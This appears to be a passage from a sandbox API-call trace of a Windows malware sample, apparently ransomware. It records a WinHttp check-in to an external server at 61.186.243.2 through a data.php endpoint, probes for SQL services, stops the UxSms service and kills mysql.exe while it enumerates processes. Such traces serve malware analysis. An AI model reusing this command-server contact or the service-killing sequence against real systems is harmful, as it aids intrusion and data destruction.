HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7e3800) returned 1 [0122.102] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7e3800 | out: hHeap=0x7b0000) returned 1 [0122.103] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x80d9d0) returned 1 [0122.104] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x80d9d0 | out: hHeap=0x7b0000) returned 1 [0122.104] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb580) returned 1 [0122.104] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb580 | out: hHeap=0x7b0000) returned 1 [0122.104] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0122.104] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0122.104] WinHttpOpen (pszAgentW="Client", dwAccessType=0x0, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x8097c0 [0122.165] WinHttpConnect (hSession=0x8097c0, pswzServerName="61.186.243.2", nServerPort=0x1f92, dwReserved=0x0) returned 0x81f418 [0122.169] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x81f500) returned 1 [0122.169] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x81f500 | out: hHeap=0x7b0000) returned 1 [0122.169] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f7e38) returned 1 [0122.169] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f7e38 | out: hHeap=0x7b0000) returned 1 [0122.169] WinHttpOpenRequest (hConnect=0x81f418, pwszVerb="GET", pwszObjectName="/api/data.php?code=U2O8J0AS5JLPRVNZIZT2PZRVQG0QQQ716Y29JSM7&file=0&size=0&status=start&keyhash=off", pwszVersion="HTTP/1.1", pwszReferrer=0x0, ppwszAcceptTypes=0x0, dwFlags=0x0) returned 0x81f690 [0122.170] WinHttpSendRequest (hRequest=0x81f690, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0, dwTotalLength=0x0, dwContext=0x0) returned 1 [0122.781] WinHttpReceiveResponse (hRequest=0x81f690, lpReserved=0x0) returned 1 [0122.781] WinHttpCloseHandle (hInternet=0x81f690) returned 1 [0122.781] WinHttpCloseHandle (hInternet=0x81f418) returned 1 [0122.781] WinHttpCloseHandle (hInternet=0x8097c0) returned 1 [0122.781] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7e3800) returned 1 [0122.781] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7e3800 | out: hHeap=0x7b0000) returned 1 [0122.782] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0122.782] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0122.782] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x81ec80 [0122.783] OpenServiceA (hSCManager=0x81ec80, lpServiceName="MySQL", dwDesiredAccess=0xf01ff) returned 0x0 [0122.783] QueryServiceStatus (in: hService=0x0, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x0, dwCurrentState=0x0, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x84a15cec, dwCheckPoint=0x18fefc, dwWaitHint=0x55ca66)) returned 0 [0122.784] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x81efa0 [0122.784] OpenServiceA (hSCManager=0x81efa0, lpServiceName="MySQLa", dwDesiredAccess=0xf01ff) returned 0x0 [0122.784] QueryServiceStatus (in: hService=0x0, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x0, dwCurrentState=0x0, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x84a15cec, dwCheckPoint=0x18fefc, dwWaitHint=0x55ca66)) returned 0 [0122.785] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x81eff0 [0122.785] OpenServiceA (hSCManager=0x81eff0, lpServiceName="SQLWriter", dwDesiredAccess=0xf01ff) returned 0x0 [0122.785] QueryServiceStatus (in: hService=0x0, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x0, dwCurrentState=0x0, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x84a15cec, dwCheckPoint=0x18fefc, dwWaitHint=0x55ca66)) returned 0 [0122.785] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x81f040 [0122.785] OpenServiceA (hSCManager=0x81f040, lpServiceName="SQLSERVERAGENT", dwDesiredAccess=0xf01ff) returned 0x0 [0122.785] QueryServiceStatus (in: hService=0x0, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x0, dwCurrentState=0x0, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x84a15cec, dwCheckPoint=0x18fefc, dwWaitHint=0x55ca66)) returned 0 [0122.785] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x81f0b8 [0122.786] OpenServiceA (hSCManager=0x81f0b8, lpServiceName="MSSQLFDLauncher", dwDesiredAccess=0xf01ff) returned 0x0 [0122.786] QueryServiceStatus (in: hService=0x0, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x0, dwCurrentState=0x0, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x84a15cec, dwCheckPoint=0x18fefc, dwWaitHint=0x55ca66)) returned 0 [0122.786] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x81f158 [0122.786] OpenServiceA (hSCManager=0x81f158, lpServiceName="MSSQLSERVER", dwDesiredAccess=0xf01ff) returned 0x0 [0122.786] QueryServiceStatus (in: hService=0x0, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x0, dwCurrentState=0x0, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x84a15cec, dwCheckPoint=0x18fefc, dwWaitHint=0x55ca66)) returned 0 [0122.786] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x81f1f8 [0122.787] OpenServiceA (hSCManager=0x81f1f8, lpServiceName="UxSms", dwDesiredAccess=0xf01ff) returned 0x7cfb90 [0122.787] QueryServiceStatus (in: hService=0x7cfb90, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x85, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0122.787] ControlService (in: hService=0x7cfb90, dwControl=0x1, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x20, dwCurrentState=0x3, dwControlsAccepted=0x85, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0122.887] QueryServiceStatus (in: hService=0x7cfb90, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x20, dwCurrentState=0x3, dwControlsAccepted=0x85, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0122.887] Sleep (dwMilliseconds=0x3e8) [0123.901] QueryServiceStatus (in: hService=0x7cfb90, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0123.902] Sleep (dwMilliseconds=0x3e8) [0124.917] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c [0124.923] Process32First (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0124.924] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x56, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0124.924] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0124.924] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0124.925] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0124.925] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0124.926] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0124.926] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0124.927] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0124.928] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0124.928] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.929] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.929] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.930] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.930] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.930] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0124.931] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.931] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.932] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0124.932] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0124.933] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0124.933] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.934] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0124.934] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0124.935] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.935] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0124.936] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.936] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="outputs_extras.exe")) returned 1 [0124.936] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sustainedclassical.exe")) returned 1 [0124.937] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sons.exe")) returned 1 [0124.937] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="catering-methodology-bike.exe")) returned 1 [0124.938] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ultram-cal.exe")) returned 1 [0124.938] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yugoslavia.exe")) returned 1 [0124.939] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="richmond-acid-cindy.exe")) returned 1 [0124.939] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mysql.exe")) returned 1 [0124.940] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x7d8) returned 0x110 [0124.940] TerminateProcess (hProcess=0x110, uExitCode=0x1) returned 1 [0124.942] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="vulnerability_remained_qualities.exe")) returned 1 [0124.942] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="recipe.exe")) returned 1 [0124.943] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="grades-employers.exe")) returned 1 [0124.943] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="blonde.exe")) returned 1 [0124.944] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance-accommodation.exe")) returned 1 [0124.944] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="hpyu.exe")) returned 1 [0124.944] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="br-thai.exe")) returned 1 [0124.945] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectious.exe")) returned 1 [0124.945] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="chip shareware.exe")) returned 1 [0124.946] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0124.946] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0124.947] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0124.947] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0124.948] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0124.948] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0124.949] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0124.949] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0124.950] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0124.950] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0124.951] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0124.951] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0124.951] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0124.952] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0124.952] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0124.953] Process32Next (in: hSnapshot=0x10c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x94c, 